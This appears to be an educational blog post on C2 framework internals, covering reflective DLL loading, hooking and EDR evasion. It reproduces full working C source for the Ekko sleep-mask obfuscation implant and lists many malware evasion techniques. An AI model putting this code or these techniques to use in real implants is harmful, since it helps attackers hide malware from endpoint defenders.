xmark.svg
email

Request Free Demo

Ready to get started? We're here to help. Fill-in your corporate info and we will contact you ASAP.

img-form.svg
xmark.svg
email

Contact Partner

Ready to get started? We're here to help. Fill-in your corporate info and we will contact you ASAP.

img-form.svg
xmark.svg

Compromised!

Our records shows credentials leaked due to a data breach.


No worries, we are here to Help. Request a demo below and we will help you identify & track the breach.

img-form.svg
xmark.svg

Compromised!

Our records shows credentials leaked due to a data breach.


No worries, we are here to Help. Request a demo below and we will help you identify & track the breach.

img-form.svg
xmark.svg

Not Found!

No exposed breaches related to your company, Yet!


Our comprehensive feeds are updated twice a day, which means every day is a possibility of capturing data related to your organization. We recommend to request a demo for detailed explanation of our services and how we can help you prevent data breaches in advance.

img-form.svg
email
xmark.svg

Invitation only

We are based on invitation only. Please Request a Demo to be able to Signup/Login.

email
xmark.svg

Thank you for subscribing!

We will email you for any updates, blog posts, new research and what not!





[ PART 3 ] How C2 Works In-Depth

By Hossam Ehab

Last updated Jun 30, 2024 - 13 Minutes Read

How C2 Works In-depth

Today's Table of Content [ Part 3 ]

  • Third Part:

    • Entire extebsions of the Meterpreter & Code Analysis  
    • RDI in modern C2
    • Evading EDRs with modern evasive techniques
    • How is the ReflectiveLoader Function Called in a DLL
    • Hooking techniques used by security tools ( AVs, RDRs, etc. )

Entire extensions of the Meterpreter & Code Analysis

Let's delve into the inner workings of Metasploit, particularly when it comes to essential operations like uploading and downloading files. To truly grasp these processes we need to start at the core of Metasploit and examine how the stdapi DLL operates and this journey will also shed light on the role of the reflective loader in dynamically loading the stdapi DLL into memory.

 image-3

As you observe this complex system includes bringing in the reflectiveloader, a crucial part that allows the stdapi DLL to dynamically reflect into memory Let's simplify this process to better grasp how it works!

 

RDI in modern C2

In an alternate C2 framework, there's a contemporary approach to reflective loading known as the Kayn Loader, and it has been integrated into frameworks like Havoc-C2.

This technique addresses certain issues found in Stephen Fewer's method. Specifically, in Stephen Fewer's Reflective DLL Injection ( RDI ), the entire memory region for DLL(s) is set to be RWX ( read, write, execute ). However, Kayn Loader takes a more precise approach by specifying memory protection for each part of the memory individually.

 

image-4

 

Sleep Mask Obfuscation

Introduction to Sleep Mask Obfuscation :-

                                                                                                                                                               Consider the scenario that the adversary wants to execute a payload without got detection   
                                             The importance of Sleep Mask Obfuscation lies in its ability to intermittently modify the execution state and memory characteristics of the payload. This is achieved through a combination of Return-Oriented Programming ( ROP ) chains and                                                                   cryptographic operations which serve to intermittently encrypt and decrypt the payload in memory coupled with changing the memory's protection flags to prevent static analysis tools from easily dissecting the malicious code.

  • Code implant example by 5Cpider ( Link : Github - Cracked5pider - Ekko ) :

    /*
              Title   : StealthCode Execution -  Ekko's Method for Concealing Active Processes 
              Credits : Peter Winter-Smith (MDSec) / @C5pider / Austin Hudson (@SecIdiot)
    */
          
          #include <windows.h>
          #include <stdio.h>
          
          #define _CRT_RAND_S
          #include <stdlib.h>
          
          #define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)
          #define NtCurrentThread() (  ( HANDLE ) ( LONG_PTR ) -2 )
          #define NtCurrentProcess() ( ( HANDLE ) ( LONG_PTR ) -1 )
          
          typedef struct {
              DWORD	Length;
              DWORD	MaximumLength;
              PVOID	Buffer;
          } USTRING ;
          
          VOID EkkoObf( DWORD SleepTime )
          {
              CONTEXT CtxThread   = { 0 };
          
              CONTEXT RopProtRW   = { 0 };
              CONTEXT RopMemEnc   = { 0 };
              CONTEXT RopDelay    = { 0 };
              CONTEXT RopMemDec   = { 0 };
              CONTEXT RopProtRX   = { 0 };
              CONTEXT RopSetEvt   = { 0 };
          
              HANDLE  hTimerQueue = NULL;
              HANDLE  hNewTimer   = NULL;
              HANDLE  hEvent      = NULL;
              PVOID   ImageBase   = NULL;
              DWORD   ImageSize   = 0;
              DWORD   OldProtect  = 0;
          
              // Randomly Generated
              CHAR KeyBuf[ 16 ]= { 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55 };
            unsigned int r = 0;
            for (int i = 0; i < 16; i++) {
              rand_s(&r);
              KeyBuf[i] = (CHAR) r;
            }
            
              USTRING Key         = { 0 };
              USTRING Img         = { 0 };
          
              PVOID   NtContinue  = NULL;
              PVOID   SysFunc032  = NULL;
          
              hEvent      = CreateEventW( 0, 0, 0, 0 );
              hTimerQueue = CreateTimerQueue();
          
              NtContinue  = GetProcAddress( GetModuleHandleA( "Ntdll" ), "NtContinue" );
              SysFunc032  = GetProcAddress( LoadLibraryA( "Advapi32" ),  "SystemFunction032" );
          
              ImageBase   = GetModuleHandleA( NULL );
              ImageSize   = ( ( PIMAGE_NT_HEADERS ) ( (DWORD64) ImageBase + ( ( PIMAGE_DOS_HEADER ) ImageBase )->e_lfanew ) )->OptionalHeader.SizeOfImage;
          
              Key.Buffer  = KeyBuf;
              Key.Length  = Key.MaximumLength = 16;
          
              Img.Buffer  = ImageBase;
              Img.Length  = Img.MaximumLength = ImageSize;
          
              if ( CreateTimerQueueTimer( &hNewTimer, hTimerQueue, RtlCaptureContext, &CtxThread, 0, 0, WT_EXECUTEINTIMERTHREAD ) )
              {
                  WaitForSingleObject( hEvent, 0x32 );
          
                  memcpy( &RopProtRW, &CtxThread, sizeof( CONTEXT ) );
                  memcpy( &RopMemEnc, &CtxThread, sizeof( CONTEXT ) );
                  memcpy( &RopDelay,  &CtxThread, sizeof( CONTEXT ) );
                  memcpy( &RopMemDec, &CtxThread, sizeof( CONTEXT ) );
                  memcpy( &RopProtRX, &CtxThread, sizeof( CONTEXT ) );
                  memcpy( &RopSetEvt, &CtxThread, sizeof( CONTEXT ) );
          
                  // VirtualProtect( ImageBase, ImageSize, PAGE_READWRITE, &OldProtect );
                  RopProtRW.Rsp  -= 8;
                  RopProtRW.Rip   = VirtualProtect;
                  RopProtRW.Rcx   = ImageBase;
                  RopProtRW.Rdx   = ImageSize;
                  RopProtRW.R8    = PAGE_READWRITE;
                  RopProtRW.R9    = &OldProtect;
          
              // "RtlEncryptDecryptRC4"
                  // SystemFunction032( &Key, &Img );
                  RopMemEnc.Rsp  -= 8;
                  RopMemEnc.Rip   = SysFunc032;
                  RopMemEnc.Rcx   = &Img;
                  RopMemEnc.Rdx   = &Key;
          
                  // WaitForSingleObject( hTargetHdl, SleepTime );
                  RopDelay.Rsp   -= 8;
                  RopDelay.Rip    = WaitForSingleObject;
                  RopDelay.Rcx    = NtCurrentProcess();
                  RopDelay.Rdx    = SleepTime;
          
                  // SystemFunction032( &Key, &Img );
                  RopMemDec.Rsp  -= 8;
                  RopMemDec.Rip   = SysFunc032;
                  RopMemDec.Rcx   = &Img;
                  RopMemDec.Rdx   = &Key;
          
                  // VirtualProtect( ImageBase, ImageSize, PAGE_EXECUTE_READWRITE, &OldProtect );
                  RopProtRX.Rsp  -= 8;
                  RopProtRX.Rip   = VirtualProtect;
                  RopProtRX.Rcx   = ImageBase;
                  RopProtRX.Rdx   = ImageSize;
                  RopProtRX.R8    = PAGE_EXECUTE_READWRITE;
                  RopProtRX.R9    = &OldProtect;
          
                  // SetEvent( hEvent );
                  RopSetEvt.Rsp  -= 8;
                  RopSetEvt.Rip   = SetEvent;
                  RopSetEvt.Rcx   = hEvent;
          
                  puts( "[INFO] Queue timers" );
          
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRW, 100, 0, WT_EXECUTEINTIMERTHREAD );
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemEnc, 200, 0, WT_EXECUTEINTIMERTHREAD );
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopDelay,  300, 0, WT_EXECUTEINTIMERTHREAD );
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopMemDec, 400, 0, WT_EXECUTEINTIMERTHREAD );
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopProtRX, 500, 0, WT_EXECUTEINTIMERTHREAD );
                  CreateTimerQueueTimer( &hNewTimer, hTimerQueue, NtContinue, &RopSetEvt, 600, 0, WT_EXECUTEINTIMERTHREAD );
          
                  puts( "[INFO] Wait for hEvent" );
          
                  WaitForSingleObject( hEvent, INFINITE );
          
                  puts( "[INFO] Finished waiting for event" );
              }
          
              DeleteTimerQueue( hTimerQueue );
          }
          
          int main(void) {
              
            puts( "[*] Ekko Sleep Obfuscation by C5pider" );
            
            printf("Module addr: %p\n", GetModuleHandle(NULL));
              do {
                  // Start Sleep Obfuscation
                  EkkoObf( 7 * 1000 );
              
              } while ( TRUE );
          
              return 0;
          }
          

Code Explanation:

 

  • Encryption and Decryption Mechanism: The crux of Sleep Mask Obfuscation lies in its ability to disguise the malicious code's execution pattern. This is achieved through dynamic encryption and decryption of the code segment, using a randomly generated cryptographic key:

    CHAR KeyBuf[16]; unsigned int r = 0; for (int i = 0; i < 16; i++) { rand_s(&r); KeyBuf[i] = (CHAR) r; }

This segment initializes a 16-byte key with random values. The unpredictability of the key is crucial, as it ensures that the encryption pattern is unique for each execution, thereby complicating static and dynamic analysis.

  • Dynamic Memory Protection: To execute encrypted code, the memory region containing the code must first be made writable (to decrypt the code) and then executable (to execute the decrypted code). This is managed through calls to VirtualProtect, altering the memory protection status:

    RopProtRW.Rip = VirtualProtect; RopProtRW.Rcx = ImageBase; RopProtRW.Rdx = ImageSize; RopProtRW.R8 = PAGE_READWRITE;

Initially, the memory region is set to PAGE_READWRITE to allow decryption. Post decryption, it's changed to PAGE_EXECUTE_READWRITE for execution. This manipulation of memory protections is a red flag for EDR systems, hence the need for obfuscation.

  • Timed Execution and Obfuscation: The obfuscation routine employs a timer-based execution strategy to further conceal the decryption and execution process:

    CreateTimerQueueTimer(&hNewTimer, hTimerQueue, NtContinue, &RopDelay, 300, 0, WT_EXECUTEINTIMERTHREAD);
          

By spacing out the encryption, decryption, and execution steps over time, the technique dilutes the concentration of suspicious activities, making detection more challenging for time-based heuristic analysis.

  • Return-Oriented Programming ( ROP ) Chains: Shortly, Return-Oriented Programming ( ROP ) chains are a sophisticated technique used in software exploitation and obfuscation to execute code sequences in a controlled manner. ROP works by finding and executing snippets of code already present in a program's memory, known as "gadgets," to perform arbitrary operations without introducing new code. Each gadget typically ends in a ret instruction, allowing an attacker to chain them together to execute complex sequences by carefully arranging return addresses on the stack.

    RopMemEnc.Rip = SysFunc032; // Points to SystemFunction032 (RtlEncryptDecryptRC4)
 

Here, SysFunc032 is indirectly invoked via an ROP gadget, effectively encrypting or decrypting the target memory region without a direct call. This indirect method of execution is less likely to trigger security mechanisms that monitor for malicious API usage.

 

Evading EDRs with Modern C2 Techniques

Traditional Methods Weakness

Old ways of injecting processes, once really strong, are now easy to spot by new EDRs. Modern C2 systems got smarter, using simple API calls like GetProcAddress and GetModuleHandle to stay hidden.

Hooking 

Function hooking lets C2 systems sneakily watch and change system, API, and function calls in both user and kernel modes. This sneaky move lets them mess with software's normal working, avoiding EDRs' eyes.

  • User Mode Hooking: Uses basic tricks like messing with the IAT ( Import Address Table ), putting code directly inline, and using trampolines. These keep the sneakiness at the app level, out of EDR sight.

  • Kernel Mode Hooking: Goes deeper, using stuff like SSDT (System Service Descriptor Table) hooking, messing with the IDT ( Interrupt Descriptor Table ), and tweaking MSR ( Model Specific Registers ). This deep level trickery messes with system calls, giving more control and hiding.

Function Hooking Types (Simple Examples)

Hooking Techniques Used by Security Tools (AVs , EDRS, etc.)

IAT Hooking User-mode
  • Changes entries in the Import Address Table (IAT) to redirect API calls to custom functions
  • Makes the process use your code instead of the original API functions
Inline Hooking User-mode
  • Overwrites the beginning of a function with a jump to your custom code
  • Allows you to run your code whenever that function is called
  • The original instructions are usually saved and executed later
Detour/Trampoline Hooking User-mode
  • Similar to inline hooking but ensures the original function code is saved and run after your custom code
  • Uses a jump to redirect the function execution flow to your handler
VTable Hooking User-mode
  • Alters pointers in an object's virtual function table (VTable) so that method calls on the object are redirected to your custom handlers
  • Common in C++ and COM objects
API Hooking Libraries User-mode
  • Uses specialized libraries (e.g. Microsoft Detours, EasyHook) to simplify the process of hooking API functions
  • Provides pre-built mechanisms for redirection and interception
SSDT Hooking Kernel-mode
  • Modifies entries in the System Service Dispatch Table (SSDT) to redirect system calls to custom handlers
  • Allows you to intercept and control low-level OS operations
IDT Hooking Kernel-mode
  • Changes entries in the Interrupt Descriptor Table (IDT) to redirect interrupts and exceptions to custom handlers
  • Allows you to intercept low-level hardware and software events
Inline Hooking in Kernel Kernel-mode
  • Similar to user-mode inline hooking but performed on kernel functions
  • Overwrites the start of a kernel function with a jump to your custom handler
  • Can execute before or after the original function code
Driver Object Hooking Kernel-mode
  • Modifies the MajorFunction array in device driver objects to intercept and monitor I/O requests (IRPs)
  • Allows you to monitor and manipulate interactions between the OS and hardware devices
VMI (Virtual Machine Introspection) Hypervisor
  • Uses a hypervisor to monitor and intercept activities in a guest operating system from outside the virtual machine
  • Allows for stealthy and isolated monitoring without being detected by the guest OS
Blue Pill Technique Hypervisor
  • Transparently runs the target system as a virtual machine under a hypervisor
  • Allows full monitoring and control of the guest system without its knowledge
PatchGuard Bypass Kernel-mode
  • Techniques used to bypass Windows PatchGuard, a security feature that protects the integrity of the kernel
  • Allows unauthorized modifications and hooks to be applied to the kernel
User-Mode Rootkit Techniques User-mode
  • Combines various hooking methods to hide and persist within a user-mode environment
  • Allows malicious code to remain undetected by standard security measures
Object Hooking User-mode
  • Modifies the internal structures or function pointers of objects to intercept method calls
  • Allows for monitoring and manipulation of object behavior
Global Hooking User-mode
  • Sets global hooks using APIs like SetWindowsHookEx to monitor system-wide events such as keyboard and mouse input
  • Allows for capturing and processing input events across the entire system
Kernel Debugger Hooking Kernel-mode
  • Utilizes kernel debugging features to intercept and manipulate system operations at the kernel level
  • Often bypasses normal security mechanisms
EPT (Extended Page Table) Hooking Hypervisor
  • Uses Intel VT-x Extended Page Tables to monitor and intercept memory accesses and page faults in virtual machines
  • Provides fine-grained control over guest memory operations
DKOM (Direct Kernel Object Manipulation) Kernel-mode
  • Directly modifies kernel objects to hide processes, files, or registry keys from the operating system and security tools
  • Provides stealth for rootkits
Heuristic-based Hooking User-mode
  • Dynamically detects and hooks suspicious API calls or behaviors based on heuristic analysis
  • Allows for adaptive and proactive security measures
Syscall Proxying User-mode
  • Intercepts system calls at the user-mode boundary and proxies them to custom handlers for analysis and modification
  • Passes the modified calls to the kernel
 
 

Hardware Breakpoints

In the game of hide and seek between C2 and EDRs, using hardware breakpoints for system calls is getting popular. But, it's risky because EDRs watch thread activities closely, which might expose C2's hidden moves.

Threadless Injection & Sleep Mask Obfuscation

  • Threadless Injection: Avoids making new threads to lower chances of being caught by EDRs.
  • Sleep Mask Obfuscation: Tricks with operation timing and length to stay hidden.

More Simple Evasion Techniques

Going deeper, we find easy evasion tactics. Stuff like making API calls look different and hiding shellcodes with simple encryption stand out. Adding basic function hooking to these tricks helps mess with the normal flow in both user and kernel modes.

 

The most used server side evasive techniques in C&C frameworks

  1. Malleable C2 Profiles : frameworks allow customization of C2 communication patterns, including HTTP headers, URIs, and SSL certificates, to mimic legitimate traffic and evade detection

  2. Encryption and Obfuscation : Encrypting C2 communications and using obfuscation techniques make it difficult for network monitoring tools to inspect and block malicious traffic

  3. Domain Fronting : C2 traffic is routed through different domain names to hide behind trusted services like CDN providers, making it appear as legitimate traffic

  4. Dynamic Domain Generation Algorithms ( DGAs ) : generates new domain names dynamically, making it challenging for defenders to block or track C2 servers effectively

  5. Redundant C2 Infrastructure : ensuring operational continuity even if some servers are detected and taken down

  6. JA3/S Fingerprint Manipulation : manipulate SSL/TLS client and server fingerprints to avoid matching known malicious profiles, bypassing SSL/TLS fingerprint-based detection

  7. Custom Protocol Obfuscation : use protocol obfuscation techniques to mask C2 traffic, making it appear as normal network traffic and evading network-based detection systems

The most used client side ( Loader ) evasive techniques in C&C frameworks

  1. Process Injection : Inject malicious code into legitimate processes to avoid detection
  2. DLL Side-Loading : Load malicious DLLs into vulnerable legitimate processes
  3. Fileless Execution : Execute code directly in memory without leaving traces on disk
  4. Code Obfuscation : Hide the true purpose of code to make analysis difficult
  5. Delayed Execution : Delay running malicious code to evade initial detection
  6. Anti-Debugging Techniques : Detect and evade debugging attempts
  7. Anti-Sandbox Techniques : Identify and alter behavior to evade sandbox environments
  8. Unhooking User-Land Hooks : Remove hooks injected by security systems in system libraries
  9. Unhooking Import Address Table ( IAT ) : Remove hooks in the Import Address Table
  10. DirectSys Calls : Use direct system calls instead of APIs to bypass hooking
  11. Merge Module Stomping : Combine with unhooking methods to evade detection further
  12. UUID Obfuscation : Obfuscate shellcode to evade signature-based detection
  13. Domain Fronting with Random Traffic Profiles : Use domain fronting with randomized traffic to evade network detection
  14. Patching Process Event Tracing : Prevent logging by security systems
  15. Spoofed Fake Certificates : Use fake certificates to appear legitimate
  16. Code Metamorphism and Noise Insertion : Constantly change code structure and behavior to evade detection

 The End

References & Resources:

  •  

Disclaimer

- The content provided in this blog is for educational purposes only. It explores various cybersecurity techniques, tools, and concepts. Readers are encouraged to use this information responsibly and ethically. Remember that unauthorized or malicious actions are strictly discouraged.

Thanks for reading!

 

image

Ready to get started? we're here to help! Request a demo below: